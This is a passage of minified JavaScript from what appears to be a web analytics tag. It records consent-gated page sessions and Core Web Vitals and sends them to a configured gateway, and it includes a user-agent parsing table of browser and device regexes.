URL(window.location.href),n={id:y(),lastUpdateTimeMs:Date.now(),pageCount:0,lastUrlVisited:window.location.href,utmSource:i.searchParams.get("utm_source")||null,utmCampaign:i.searchParams.get("utm_campaign")||null,utmContent:i.searchParams.get("utm_content")||null,utmTerm:i.searchParams.get("utm_term")||null,utmMedium:i.searchParams.get("utm_medium")||null};try{localStorage.setItem(P(e,t),btoa(JSON.stringify(n)))}catch(e){throw new C}},$=[],q=(e,t)=>{const i=$.map((i=>F(i,e,t)));if(i.length){const n=JSON.stringify(i),o=`${e.gateway}/page?${(()=>{const e=document.querySelector('meta[name="pbstck:kleanads-version"]')?.getAttribute("content")??"none",i=document.querySelector('meta[name="pbstck:config-version"]')?.getAttribute("content")??"none";return`tId=${t.tagId}&v=${e}&s=${i}&c=1`})()}`;navigator.sendBeacon&&navigator.sendBeacon(o,n)||fetch(o,{body:n,method:"POST",keepalive:!0}),r("[page] event queue dispatched",JSON.stringify(i)),$.length=0}},B=(e,t,i)=>{try{const o=V(t,i);try{const i=R(e,t);L(i.lastUpdateTimeMs)&&q(e,t)}catch(e){r("[page] session was not found or invalid, adding the new page to the queue anyway")}(n=o,$.push(n),r("[page] event queued",n),$.length)>=20&&q(e,t)}catch(e){e instanceof I?a(`[page] new page : ${e.message}`):a("[page] unknown error",e)}var n},H=(e,t)=>{B(e,t),window.addEventListener(l.SESSION_TRACKING_AUTHORIZED,(i=>{r(`[page] ${l.SESSION_TRACKING_AUTHORIZED}`,i);try{((e,t)=>{try{const i=R(e,t);if(L(i.lastUpdateTimeMs))throw new O;i.lastUpdateTimeMs=Date.now(),i.lastUrlVisited=window.location.href,localStorage.setItem(P(e,t),btoa(JSON.stringify(i)))}catch(i){if(i instanceof N||i instanceof A)return void M(e,t);if(i instanceof I)throw i;throw new I}})(e,t),q(e,t)}catch(i){i instanceof O&&(M(e,t),q(e,t))}})),window.addEventListener(l.SESSION_TRACKING_DECLINED,(i=>{r(`[page] ${l.SESSION_TRACKING_DECLINED}`,i),((e,t)=>{try{localStorage.removeItem(P(e,t))}catch(e){}})(e,t),q(e,t)})),window.addEventListener(l.HISTORY_MUTATION,(i=>{r(`[page] ${l.HISTORY_MUTATION}`,i),i.detail?.referrer.href!==window.location.href&&B(e,t,i.detail?.referrer)})),window.addEventListener("popstate",(i=>{B(e,t)})),window.document.addEventListener("visibilitychange",(()=>{r(`[page] visibility changed to ${document.visibilityState}`),"visible"!==document.visibilityState&&q(e,t)})),window.addEventListener("pagehide",(()=>{q(e,t)})),window.addEventListener("beforeunload",(()=>{q(e,t)}))},V=(e,t)=>{const i=new URL(window.location.href);return{...e,pageId:z(),pageCount:1,domain:_(window.location)??"",href:(n=window.location,n&&n.protocol&&n.host&&n.pathname?`${n.protocol}//${n.host}${n.pathname}`:"unknown"),referrer:_(t??document.referrer),consent:T(),userSessionId:null,sessionTracking:E(),utmSource:i.searchParams.get("utm_source"),utmCampaign:i.searchParams.get("utm_campaign"),utmContent:i.searchParams.get("utm_content"),utmTerm:i.searchParams.get("utm_term"),utmMedium:i.searchParams.get("utm_medium")};var n},F=(e,t,i)=>{try{const n=E();return{...e,pageCount:n?U(t,i):e.pageCount,userSessionId:n?R(t,i).id:null,consent:T(),sessionTracking:n,utmSource:n?R(t,i).utmSource:e.utmSource,utmCampaign:n?R(t,i).utmCampaign:e.utmCampaign,utmContent:n?R(t,i).utmContent:e.utmContent,utmTerm:n?R(t,i).utmTerm:e.utmTerm,utmMedium:n?R(t,i).utmMedium:e.utmMedium}}catch(t){if(t instanceof N)return e;t instanceof I?a(`[session] ${t.message}`):a("[session] unknown error",t)}return e},z=()=>{const e=y();return window.__pbstck_page_id=e,e};var G;!function(e){e[e.DENIED=0]="DENIED",e[e.GRANTED=1]="GRANTED",e[e.UNAVAILABLE=2]="UNAVAILABLE"}(G||(G={}));const j=async(e,t)=>{k(G.UNAVAILABLE),S(!1);let i=0;try{(await W(e))("addEventListener",2,(n=>{if(n){if("tcloaded"===n.eventStatus||"useractioncomplete"===n.eventStatus){k(X(n));const e=J(n)&&!t.sessionTrackingDisabled;S(e),e?dispatchEvent(new CustomEvent(l.SESSION_TRACKING_AUTHORIZED)):dispatchEvent(new CustomEvent(l.SESSION_TRACKING_DECLINED))}}else r(`[consent] wrong tcdata ${n}, waiting 200ms`),setTimeout((()=>{i++,100===i&&o("[consent] unable to retrieve cmp after 100 tries"),j(e,t)}),200)}))}catch(e){a("[consent] Error while loading tcf api")}},K=(e,t,i)=>{if(e.__tcfapi){const n=e.__tcfapi;(e=>"function"==typeof e)(e.__tcfapi)?t(n):i("__tcfapi is not a function")}else setTimeout((()=>K(e,t,i)),100)},W=e=>new Promise(((t,i)=>K(e,t,i))),X=e=>e.purpose.consents&&e.purpose.consents[1]&&e.purpose.consents[2]&&e.purpose.consents[3]&&e.purpose.consents[4]&&e.purpose.consents[7]?G.GRANTED:G.DENIED,J=e=>e.purpose.consents[1]&&e.purpose.consents[7]&&e.purpose.consents[8]?(r("[consent] SessionTracking obtained"),!0):(r("[consent] SessionTracking declined"),!1);var Y,Z,Q,ee,te,ie=-1,ne=function(e){addEventListener("pageshow",(function(t){t.persisted&&(ie=t.timeStamp,e(t))}),!0)},oe=function(){var e=self.performance&&performance.getEntriesByType&&performance.getEntriesByType("navigation")[0];if(e&&e.responseStart>0&&e.responseStart<performance.now())return e},re=function(){var e=oe();return e&&e.activationStart||0},ae=function(e,t){var i=oe(),n="navigate";return ie>=0?n="back-forward-cache":i&&(document.prerendering||re()>0?n="prerender":document.wasDiscarded?n="restore":i.type&&(n=i.type.replace(/_/g,"-"))),{name:e,value:void 0===t?-1:t,rating:"good",delta:0,entries:[],id:"v4-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12),navigationType:n}},se=function(e,t,i){try{if(PerformanceObserver.supportedEntryTypes.includes(e)){var n=new PerformanceObserver((function(e){Promise.resolve().then((function(){t(e.getEntries())}))}));return n.observe(Object.assign({type:e,buffered:!0},i||{})),n}}catch(e){}},ce=function(e,t,i,n){var o,r;return function(a){t.value>=0&&(a||n)&&((r=t.value-(o||0))||void 0===o)&&(o=t.value,t.delta=r,t.rating=function(e,t){return e>t[1]?"poor":e>t[0]?"needs-improvement":"good"}(t.value,i),e(t))}},ue=function(e){requestAnimationFrame((function(){return requestAnimationFrame((function(){return e()}))}))},de=function(e){document.addEventListener("visibilitychange",(function(){"hidden"===document.visibilityState&&e()}))},le=function(e){var t=!1;return function(){t||(e(),t=!0)}},pe=-1,we=function(){return"hidden"!==document.visibilityState||document.prerendering?1/0:0},me=function(e){"hidden"===document.visibilityState&&pe>-1&&(pe="visibilitychange"===e.type?e.timeStamp:0,be())},fe=function(){addEventListener("visibilitychange",me,!0),addEventListener("prerenderingchange",me,!0)},be=function(){removeEventListener("visibilitychange",me,!0),removeEventListener("prerenderingchange",me,!0)},he=function(){return pe<0&&(pe=we(),fe(),ne((function(){setTimeout((function(){pe=we(),fe()}),0)}))),{get firstHiddenTime(){return pe}}},ge=function(e){document.prerendering?addEventListener("prerenderingchange",(function(){return e()}),!0):e()},ve=[1800,3e3],ye=function(e,t){t=t||{},ge((function(){var i,n=he(),o=ae("FCP"),r=se("paint",(function(e){e.forEach((function(e){"first-contentful-paint"===e.name&&(r.disconnect(),e.startTime<n.firstHiddenTime&&(o.value=Math.max(e.startTime-re(),0),o.entries.push(e),i(!0)))}))}));r&&(i=ce(e,o,ve,t.reportAllChanges),ne((function(n){o=ae("FCP"),i=ce(e,o,ve,t.reportAllChanges),ue((function(){o.value=performance.now()-n.timeStamp,i(!0)}))})))}))},ke=[.1,.25],Se=0,Te=1/0,Ee=0,_e=function(e){e.forEach((function(e){e.interactionId&&(Te=Math.min(Te,e.interactionId),Ee=Math.max(Ee,e.interactionId),Se=Ee?(Ee-Te)/7+1:0)}))},xe=function(){return Y?Se:performance.interactionCount||0},Ie=function(){"interactionCount"in performance||Y||(Y=se("event",_e,{type:"event",buffered:!0,durationThreshold:0}))},Ce=[],Ae=new Map,Ne=0,Oe=[],De=function(e){if(Oe.forEach((function(t){return t(e)})),e.interactionId||"first-input"===e.entryType){var t=Ce[Ce.length-1],i=Ae.get(e.interactionId);if(i||Ce.length<10||e.duration>t.latency){if(i)e.duration>i.latency?(i.entries=[e],i.latency=e.duration):e.duration===i.latency&&e.startTime===i.entries[0].startTime&&i.entries.push(e);else{var n={id:e.interactionId,latency:e.duration,entries:[e]};Ae.set(n.id,n),Ce.push(n)}Ce.sort((function(e,t){return t.latency-e.latency})),Ce.length>10&&Ce.splice(10).forEach((function(e){return Ae.delete(e.id)}))}}},Pe=function(e){var t=self.requestIdleCallback||self.setTimeout,i=-1;return e=le(e),"hidden"===document.visibilityState?e():(i=t(e),de(e)),i},Le=[200,500],Re=function(e,t){"PerformanceEventTiming"in self&&"interactionId"in PerformanceEventTiming.prototype&&(t=t||{},ge((function(){var i;Ie();var n,o=ae("INP"),r=function(e){Pe((function(){e.forEach(De);var t=function(){var e=Math.min(Ce.length-1,Math.floor((xe()-Ne)/50));return Ce[e]}();t&&t.latency!==o.value&&(o.value=t.latency,o.entries=t.entries,n())}))},a=se("event",r,{durationThreshold:null!==(i=t.durationThreshold)&&void 0!==i?i:40});n=ce(e,o,Le,t.reportAllChanges),a&&(a.observe({type:"first-input",buffered:!0}),de((function(){r(a.takeRecords()),n(!0)})),ne((function(){Ne=xe(),Ce.length=0,Ae.clear(),o=ae("INP"),n=ce(e,o,Le,t.reportAllChanges)})))})))},Ue=[2500,4e3],Me={},$e=[800,1800],qe=function e(t){document.prerendering?ge((function(){return e(t)})):"complete"!==document.readyState?addEventListener("load",(function(){return e(t)}),!0):setTimeout(t,0)},Be=function(e,t){t=t||{};var i=ae("TTFB"),n=ce(e,i,$e,t.reportAllChanges);qe((function(){var o=oe();o&&(i.value=Math.max(o.responseStart-re(),0),i.entries=[o],n(!0),ne((function(){i=ae("TTFB",0),(n=ce(e,i,$e,t.reportAllChanges))(!0)})))}))},He={passive:!0,capture:!0},Ve=new Date,Fe=function(e,t){Z||(Z=t,Q=e,ee=new Date,je(removeEventListener),ze())},ze=function(){if(Q>=0&&Q<ee-Ve){var e={entryType:"first-input",name:Z.type,target:Z.target,cancelable:Z.cancelable,startTime:Z.timeStamp,processingStart:Z.timeStamp+Q};te.forEach((function(t){t(e)})),te=[]}},Ge=function(e){if(e.cancelable){var t=(e.timeStamp>1e12?new Date:performance.now())-e.timeStamp;"pointerdown"==e.type?function(e,t){var i=function(){Fe(e,t),o()},n=function(){o()},o=function(){removeEventListener("pointerup",i,He),removeEventListener("pointercancel",n,He)};addEventListener("pointerup",i,He),addEventListener("pointercancel",n,He)}(t,e):Fe(t,e)}},je=function(e){["mousedown","keydown","touchstart","pointerdown"].forEach((function(t){return e(t,Ge,He)}))},Ke=[100,300];function We(e,t,i,n){const o=()=>{const n=document.querySelector('meta[name="pbstck:kleanads-version"]')?.getAttribute("content")??"none",o=document.querySelector('meta[name="pbstck:config-version"]')?.getAttribute("content")??"none";return`${e.toLocaleLowerCase()}=${t.toFixed(3)}&tId=${i.tagId}&v=${n}&s=${o}&c=1`},r=E(),a=JSON.stringify([{...i,href:window.location.href,name:e,value:t,customFields:{...i.customFields,pageId:window.__pbstck_page_id,pageCount:String(r?R(n,i).pageCount:1),userSessionId:r?R(n,i).id:null,sessionTracking:String(r)}}]);navigator.sendBeacon&&navigator.sendBeacon(`${n.gateway}/web-vitals?${o()}`,a)||fetch(`${n.gateway}/web-vitals?${o()}`,{body:a,method:"POST",keepalive:!0})}const Xe=(e,t)=>{!function(e,t){t=t||{},ye(le((function(){var i,n=ae("CLS",0),o=0,r=[],a=function(e){e.forEach((function(e){if(!e.hadRecentInput){var t=r[0],i=r[r.length-1];o&&e.startTime-i.startTime<1e3&&e.startTime-t.startTime<5e3?(o+=e.value,r.push(e)):(o=e.value,r=[e])}})),o>n.value&&(n.value=o,n.entries=r,i())},s=se("layout-shift",a);s&&(i=ce(e,n,ke,t.reportAllChanges),de((function(){a(s.takeRecords()),i(!0)})),ne((function(){o=0,n=ae("CLS",0),i=ce(e,n,ke,t.reportAllChanges),ue((function(){return i()}))})),setTimeout(i,0))})))}((i=>We("CLS",i.value,t,e))),ye((i=>We("FCP",i.value,t,e))),function(e,t){t=t||{},ge((function(){var i,n=he(),o=ae("LCP"),r=function(e){t.reportAllChanges||(e=e.slice(-1)),e.forEach((function(e){e.startTime<n.firstHiddenTime&&(o.value=Math.max(e.startTime-re(),0),o.entries=[e],i())}))},a=se("largest-contentful-paint",r);if(a){i=ce(e,o,Ue,t.reportAllChanges);var s=le((function(){Me[o.id]||(r(a.takeRecords()),a.disconnect(),Me[o.id]=!0,i(!0))}));["keydown","click"].forEach((function(e){addEventListener(e,(function(){return Pe(s)}),!0)})),de(s),ne((function(n){o=ae("LCP"),i=ce(e,o,Ue,t.reportAllChanges),ue((function(){o.value=performance.now()-n.timeStamp,Me[o.id]=!0,i(!0)}))}))}}))}((i=>We("LCP",i.value,t,e))),function(e,t){t=t||{},ge((function(){var i,n=he(),o=ae("FID"),r=function(e){e.startTime<n.firstHiddenTime&&(o.value=e.processingStart-e.startTime,o.entries.push(e),i(!0))},a=function(e){e.forEach(r)},s=se("first-input",a);i=ce(e,o,Ke,t.reportAllChanges),s&&(de(le((function(){a(s.takeRecords()),s.disconnect()}))),ne((function(){var n;o=ae("FID"),i=ce(e,o,Ke,t.reportAllChanges),te=[],Q=-1,Z=null,je(addEventListener),n=r,te.push(n),ze()})))}))}((i=>We("FID",i.value,t,e))),Re((i=>We("INP",i.value,t,e))),Be((i=>We("TTFB",i.value,t,e)))};var Je,Ye="",Ze="function",Qe="undefined",et="object",tt="string",it="major",nt="model",ot="name",rt="type",at="vendor",st="version",ct="architecture",ut="console",dt="mobile",lt="tablet",pt="smarttv",wt="wearable",mt="embedded",ft="user-agent",bt=500,ht="brands",gt="formFactors",vt="fullVersionList",yt="platform",kt="platformVersion",St="bitness",Tt="sec-ch-ua",Et=Tt+"-full-version-list",_t=Tt+"-arch",xt=Tt+"-"+St,It=Tt+"-form-factors",Ct=Tt+"-"+dt,At=Tt+"-"+nt,Nt=Tt+"-"+yt,Ot=Nt+"-version",Dt=[ht,vt,dt,nt,yt,kt,ct,gt,St],Pt="browser",Lt="cpu",Rt="device",Ut="engine",Mt="os",$t="result",qt="Amazon",Bt="Apple",Ht="ASUS",Vt="BlackBerry",Ft="Google",zt="Huawei",Gt="Lenovo",jt="LG",Kt="Microsoft",Wt="Motorola",Xt="Samsung",Jt="Sharp",Yt="Sony",Zt="Xiaomi",Qt="Zebra",ei="Mobile ",ti=" Browser",ii="Chrome",ni="Firefox",oi="Opera",ri="Facebook",ai="Sogou",si="Windows",ci=typeof window!==Qe&&window.navigator?window.navigator:void 0,ui=ci&&ci.userAgentData?ci.userAgentData:void 0,di=function(e,t){var i={},n=t;if(!wi(t))for(var o in n={},t)for(var r in t[o])n[r]=t[o][r].concat(n[r]?n[r]:[]);for(var a in e)i[a]=n[a]&&n[a].length%2==0?n[a].concat(e[a]):e[a];return i},li=function(e){for(var t={},i=0;i<e.length;i++)t[e[i].toUpperCase()]=e[i];return t},pi=function(e,t){if(typeof e===et&&e.length>0){for(var i in e)if(bi(e[i])==bi(t))return!0;return!1}return!!mi(e)&&-1!==bi(t).indexOf(bi(e))},wi=function(e,t){for(var i in e)return/^(browser|cpu|device|engine|os)$/.test(i)||!!t&&wi(e[i])},mi=function(e){return typeof e===tt},fi=function(e){if(e){for(var t=[],i=vi(/\\?\"/g,e).split(","),n=0;n<i.length;n++)if(i[n].indexOf(";")>-1){var o=ki(i[n]).split(";v=");t[n]={brand:o[0],version:o[1]}}else t[n]=ki(i[n]);return t}},bi=function(e){return mi(e)?e.toLowerCase():e},hi=function(e){return mi(e)?vi(/[^\d\.]/g,e).split(".")[0]:void 0},gi=function(e){for(var t in e){var i=e[t];typeof i==et&&2==i.length?this[i[0]]=i[1]:this[i]=void 0}return this},vi=function(e,t){return mi(t)?t.replace(e,Ye):t},yi=function(e){return vi(/\\?\"/g,e)},ki=function(e,t){if(mi(e))return e=vi(/^\s\s*/,e),typeof t===Qe?e:e.substring(0,bt)},Si=function(e,t){if(e&&t)for(var i,n,o,r,a,s,c=0;c<t.length&&!a;){var u=t[c],d=t[c+1];for(i=n=0;i<u.length&&!a&&u[i];)if(a=u[i++].exec(e))for(o=0;o<d.length;o++)s=a[++n],typeof(r=d[o])===et&&r.length>0?2===r.length?typeof r[1]==Ze?this[r[0]]=r[1].call(this,s):this[r[0]]=r[1]:3===r.length?typeof r[1]!==Ze||r[1].exec&&r[1].test?this[r[0]]=s?s.replace(r[1],r[2]):void 0:this[r[0]]=s?r[1].call(this,s,r[2]):void 0:4===r.length&&(this[r[0]]=s?r[3].call(this,s.replace(r[1],r[2])):void 0):this[r]=s||void 0;c+=2}},Ti=function(e,t){for(var i in t)if(typeof t[i]===et&&t[i].length>0){for(var n=0;n<t[i].length;n++)if(pi(t[i][n],e))return"?"===i?void 0:i}else if(pi(t[i],e))return"?"===i?void 0:i;return t.hasOwnProperty("*")?t["*"]:e},Ei={ME:"4.90","NT 3.11":"NT3.51","NT 4.0":"NT4.0",2e3:"NT 5.0",XP:["NT 5.1","NT 5.2"],Vista:"NT 6.0",7:"NT 6.1",8:"NT 6.2",8.1:"NT 6.3",10:["NT 6.4","NT 10.0"],RT:"ARM"},_i={embedded:"Automotive",mobile:"Mobile",tablet:["Tablet","EInk"],smarttv:"TV",wearable:"Watch",xr:["VR","XR"],"?":["Desktop","Unknown"],"*":void 0},xi={browser:[[/\b(?:crmo|crios)\/([\w\.]+)/i],[st,[ot,ei+"Chrome"]],[/edg(?:e|ios|a)?\/([\w\.]+)/i],[st,[ot,"Edge"]],[/(opera mini)\/([-\w\.]+)/i,/(opera [mobiletab]{3,6})\b.+version\/([-\w\.]+)/i,/(opera)(?:.+version\/|[\/ ]+)([\w\.]+)/i],[ot,st],[/opios[\/ ]+([\w\.]+)/i],[st,[ot,oi+" Mini"]],[/\bop(?:rg)?x\/([\w\.]+)/i],[st,[ot,oi+" GX"]],[/\bopr\/([\w\.]+)/i],[st,[ot,oi]],[/\bb[ai]*d(?:uhd|[ub]*[aekoprswx]{5,6})[\/ ]?([\w\.]+)/i],[st,[ot,"Baidu"]],[/(kindle)\/([\w\.]+)/i,/(lunascape|maxthon|netfront|jasmine|blazer|sleipnir)[\/ ]?([\w\.]*)/i,/(avant|iemobile|slim)\s?(?:browser)?[\/ ]?([\w\.]*)/i,/(?:ms|\()(ie) ([\w\.]+)/i,/(flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi|iridium|phantomjs|bowser|quark|qupzilla|falkon|rekonq|puffin|brave|whale(?!.+naver)|qqbrowserlite|duckduckgo|klar)\/([-\w\.]+)/i,/(heytap|ovi)browser\/([\d\.]+)/i,/(weibo)__([\d\.]+)/i],[ot,st],[/\bddg\/([\w\.]+)/i],[st,[ot,"DuckDuckGo"]],[/(?:\buc? ?browser|(?:juc.+)ucweb)[\/ ]?([\w\.]+)/i],[st,[ot,"UCBrowser"]],[/microm.+\bqbcore\/([\w\.]+)/i,/\bqbcore\/([\w\.]+).+microm/i,/micromessenger\/([\w\.]+)/i],[st,[ot,"WeChat"]],[/konqueror\/([\w\.]+)/i],[st,[ot,"Konqueror"]],[/trident.+rv[: ]([\w\.]{1,9})\b.+like gecko/i],[st,[ot,"IE"]],[/ya(?:search)?browser\/([\w\.]+)/i],[st,[ot,"Yandex"]],[/slbrowser\/([\w\.]+)/i],[st,[ot,"Smart "+Gt+ti]],[/(avast|avg)\/([\w\.]+)/i],[[ot,/(.+)/,"$1 Secure"+ti],st],[/\bfocus\/([\w\.]+)/i],[st,[ot,ni+" Focus"]],[/\bopt\/([\w\.]+)/i],[st,[ot,oi+" Touch"]],[/coc_coc\w+\/([\w\.]+)/i],[st,[ot,"Coc Coc"]],[/dolfin\/([\w\.]+)/i],[st,[ot,"Dolphin"]],[/coast\/([\w\.]+)/i],[st,[ot,oi+" Coast"]],[/miuibrowser\/([\w\.]+)/i],[st,[ot,"MIUI"+ti]],[/fxios\/([\w\.-]+)/i],[st,[ot,ei+ni]],[/\bqihu|(qi?ho?o?|360)browser/i],[[ot,"360"+ti]],[/\b(qq)\/([\w\.]+)/i],[[ot,/(.+)/,"$1Browser"],st],[/(oculus|sailfish|huawei|vivo|pico)browser\/([\w\.]+)/i],[[ot,/(.+)/,"$1"+ti],st],[/samsungbrowser\/([\w\.]+)/i],[st,[ot,Xt+" Internet"]],[/(comodo_dragon)\/([\w\.]+)/i],[[ot,/_/g," "],st],[/metasr[\/ ]?([\d\.]+)/i],[st,[ot,ai+" Explorer"]],[/(sogou)mo\w+\/([\d\.]+)/i],[[ot,ai+" Mobile"],st],[/(electron)\/([\w\.]+) safari/i,/(tesla)(?: qtcarbrowser|\/(20\d\d\.[-\w\.]+))/i,/m?(qqbrowser|2345Explorer)[\/ ]?([\w\.]+)/i],[ot,st],[/(lbbrowser|rekonq)/i,/\[(linkedin)app\]/i],[ot],[/((?:fban\/fbios|fb_iab\/fb4a)(?!.+fbav)|;fbav\/([\w\.]+);)/i],[[ot,ri],st],[/(Klarna)\/([\w\.]+)/i,/(kakao(?:talk|story))[\/ ]([\w\.]+)/i,/(naver)\(.*?(\d+\.[\w\.]+).*\)/i,/safari (line)\/([\w\.]+)/i,/\b(line)\/([\w\.]+)\/iab/i,/(alipay)client\/([\w\.]+)/i,/(twitter)(?:and| f.+e\/([\w\.]+))/i,/(chromium|instagram|snapchat)[\/ ]([-\w\.]+)/i],[ot,st],[/\bgsa\/([\w\.]+) .*safari\//i],[st,[ot,"GSA"]],[/musical_ly(?:.+app_?version\/|_)([\w\.]+)/i],[st,[ot,"TikTok"]],[/headlesschrome(?:\/([\w\.]+)| )/i],[st,[ot,ii+" Headless"]],[/ wv\).+(chrome)\/([\w\.]+)/i],[[ot,ii+" WebView"],st],[/droid.+ version\/([\w\.]+)\b.+(?:mobile safari|safari)/i],[st,[ot,"Android"+ti]],[/chrome\/([\w\.]+) mobile/i],[st,[ot,ei+"Chrome"]],[/(chrome|omniweb|arora|[tizenoka]{5} ?browser)\/v?([\w\.]+)/i],[ot,st],[/version\/([\w\.\,]+) .*mobile(?:\/\w+ | ?)safari/i],[st,[ot,ei+"Safari"]],[/iphone .*mobile(?:\/\w+ | ?)safari/i],[[ot,ei+"Safari"]],[/version\/([\w\.\,]+) .*(safari)/i],[st,ot],[/webkit.+?(mobile ?safari|safari)(\/[\w\.]+)/i],[ot,[st,"1"]],[/(webkit|khtml)\/([\w\.]+)/i],[ot,st],[/(?:mobile|tablet);.*(firefox)\/([\w\.-]+)/i],[[ot,ei+ni],st],[/(navigator|netscape\d?)\/([-\w\.]+)/i],[[ot,"Netscape"],st],[/(wolvic)\/([\w\.]+)/i],[ot,st],[/mobile vr; rv:([\w\.]+)\).+firefox/i],[st,[ot,ni+" Reality"]],[/ekiohf.+(flow)\/([\w\.]+)/i,/(swiftfox)/i,/(icedragon|iceweasel|camino|chimera|fennec|maemo browser|minimo|conkeror)[\/ ]?([\w\.\+]+)/i,/(seamonkey|k-meleon|icecat|iceape|firebird|phoenix|palemoon|basilisk|waterfox)\/([-\w\.]+)$/i,/(firefox)\/([\w\.]+)/i,/(mozilla)\/([\w\.]+) .+rv\:.+gecko\/\d+/i,/(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf|obigo|mosaic|(?:go|ice|up)[\. ]?browser)[-\/ ]?v?([\w\.]+)/i,/(links) \(([\w\.]+)/i],[ot,[st,/_/g,"."]],[/(cobalt)\/([\w\.]+)/i],[ot,[st,/[^\d\.]+./,Ye]]],cpu:[[/\b(?:(amd|x|x86[-_]?|wow|win)64)\b/i],[[ct,"amd64"]],[/(ia32(?=;))/i,/((?:i[346]|x)86)[;\)]/i],[[ct,"ia32"]],[/\b(aarch64|arm(v?8e?l?|_?64))\b/i],[[ct,"arm64"]],[/\b(arm(?:v[67])?ht?n?[fl]p?)\b/i],[[ct,"armhf"]],[/windows (ce|mobile); ppc;/i],[[ct,"arm"]],[/((?:ppc|powerpc)(?:64)?)(?: mac|;|\))/i],[[ct,/ower/,Ye,bi]],[/(sun4\w)[;\)]/i],[[ct,"sparc"]],[/((?:avr32|ia64(?=;))|68k(?=\))|\barm(?=v(?:[1-7]|[5-7]1)l?|;|eabi)|(?=atmel )avr|(?:irix|mips|sparc)(?:64)?\b|pa-risc)/i],[[ct,bi]]],device:[[/\b(sch-i[89]0\d|shw-m380s|sm-[ptx]\w{2,4}|gt-[pn]\d{2,4}|sgh-t8[56]9|nexus 10)/i],[nt,[at,Xt],[rt,lt]],[/\b((?:s[cgp]h|gt|sm)-\w+|sc[g-]?[\d]+a?|galaxy nexus)/i,/samsung[- ]([-\w]+)/i,/sec-(sgh\w+)/i],[nt,[at,Xt],[rt,dt]],[/(?:\/|\()(ip(?:hone|od)[\w, ]*)(?:\/|;)/i],[nt,[at,Bt],[rt,dt]],[/\((ipad);[-\w\),; ]+apple/i,/applecoremedia\/[\w\.]+ \((ipad)/i,/\b(ipad)\d\d?,\d\d?[;\]].+ios/i],[nt,[at,Bt],[rt,lt]],[/(macintosh);/i],[nt,[at,Bt]],[/\b(sh-?[altvz]?\d\d[a-ekm]?)/i],[nt,[at,Jt],[rt,dt]],[/\b((?:ag[rs][23]?|bah2?|sht?|btv)-a?[lw]\d{2})\b(?!.+d\/s)/i],[nt,[at,zt],[rt,lt]],[/(?:huawei|honor)([-\w ]+)[;\)]/i,/\b(nexus 6p|\w{2,4}e?-[atu]?[ln][\dx][012359c][adn]?)\b(?!.+d\/s)/i],[nt,[at,zt],[rt,dt]],[/\b(poco[\w ]+|m2\d{3}j\d\d[a-z]{2})(?: bui|\))/i,/\b; (\w+) build\/hm\1/i,/\b(hm[-_ ]?note?[_ ]?(?:\d\w)?) bui/i,/\b(redmi[\-_ ]?(?:note|k)?[\w_ ]+)(?: bui|\))/i,/oid[^\)]+; (m?[12][0-389][01]\w{3,6}[c-y])( bui|; wv|\))/i,/\b(mi[-_ ]?(?:a\d|one|one[_ ]plus|note lte|max|cc)?[_ ]?(?:\d?\w?)[_ ]?(?:plus|se|lite)?)(?: bui|\))/i],[[nt,/_/g," "],[at,Zt],[rt,dt]],[/oid[^\)]+; (2\d{4}(283|rpbf)[cgl])( bui|\))/i,/\b(mi[-_ ]?(?:pad)(?:[\w_ ]+))(?: bui|\))/i],[[nt,/_/g," "],[at,Zt],[rt,lt]],[/; (\w+) bui.+ oppo/i,/\b(cph[12]\d{3}|p(?:af|c[al]|d\w|e[ar])[mt]\d0|x9007|a101op)\b/i],[nt,[at,"OPPO"],[rt,dt]],[/\b(opd2\d{3}a?) bui/i],[nt,[at,"OPPO"],[rt,lt]],[/vivo (\w+)(?: bui|\))/i,/\b(v[12]\d{3}\w?[at])(?: bui|;)/i],[nt,[at,"Vivo"],[rt,dt]],[/\b(rmx[1-3]\d{3})(?: bui|;|\))/i],[nt,[at,"Realme"],[rt,dt]],[/\b(milestone|droid(?:[2-4x]| (?:bionic|x2|pro|razr))?:?( 4g)?)\b[\w ]+build\//i,/\bmot(?:orola)?[- ](\w*)/i,/((?:moto[\w\(\) ]+|xt\d{3,4}|nexus 6)(?= bui|\)))/i],[nt,[at,Wt],[rt,dt]],[/\b(mz60\d|xoom[2 ]{0,2}) build\//i],[nt,[at,Wt],[rt,lt]],[/((?=lg)?[vl]k\-?\d{3}) bui| 3\.[-\w; ]{10}lg?-([06cv9]{3,4})/i],[nt,[at,jt],[rt,lt]],[/(lm(?:-?f100[nv]?|-[\w\.]+)(?= bui|\))|nexus [45])/i,/\blg[-e;\/ ]+((?!browser|netcast|android tv)\w+)/i,/\blg-?([\d\w]+) bui/i],[nt,[at,jt],[rt,dt]],[/(ideatab[-\w ]+)/i,/lenovo ?(s[56]000[-\w]+|tab(?:[\w ]+)|yt[-\d\w]{6}|tb[-\d\w]{6})/i],[nt,[at,Gt],[rt,lt]],[/(?:maemo|nokia).*(n900|lumia \d+)/i,/nokia[-_ ]?([-\w\.]*)/i],[[nt,/_/g," "],[at,"Nokia"],[rt,dt]],[/(pixel c)\b/i],[nt,[at,Ft],[rt,lt]],[/droid.+; (pixel[\daxl ]{0,6})(?: bui|\))/i],[nt,[at,Ft],[rt,dt]],[/droid.+ (a?\d[0-2]{2}so|[c-g]\d{4}|so[-gl]\w+|xq-a\w[4-7][12])(?= bui|\).+chrome\/(?![1-6]{0,1}\d\.))/i],[nt,[at,Yt],[rt,dt]],[/sony tablet [ps]/i,/\b(?:sony)?sgp\w+(?: bui|\))/i],[[nt,"Xperia Tablet"],[at,Yt],[rt,lt]],[/ (kb2005|in20[12]5|be20[12][59])\b/i,/(?:one)?(?:plus)? (a\d0\d\d)(?: b|\))/i],[nt,[at,"OnePlus"],[rt,dt]],[/(alexa)webm/i,/(kf[a-z]{2}wi|aeo[c-r]{2})( bui|\))/i,/(kf[a-z]+)( bui|\)).+silk\//i],[nt,[at,qt],[rt,lt]],[/((?:sd|kf)[0349hijorstuw]+)( bui|\)).+silk\//i],[[nt,/(.+)/g,"Fire Phone $1"],[at,qt],[rt,dt]],[/(playbook);[-\w\),; ]+(rim)/i],[nt,at,[rt,lt]],[/\b((?:bb[a-f]|st[hv])100-\d)/i,/\(bb10; (\w+)/i],[nt,[at,Vt],[rt,dt]],[/(?:\b|asus_)(transfo[prime ]{4,10} \w+|eeepc|slider \w+|nexus 7|padfone|p00[cj])/i],[nt,[at,Ht],[rt,lt]],[/ (z[bes]6[027][012][km][ls]|zenfone \d\w?)\b/i],[nt,[at,Ht],[rt,dt]],[/(nexus 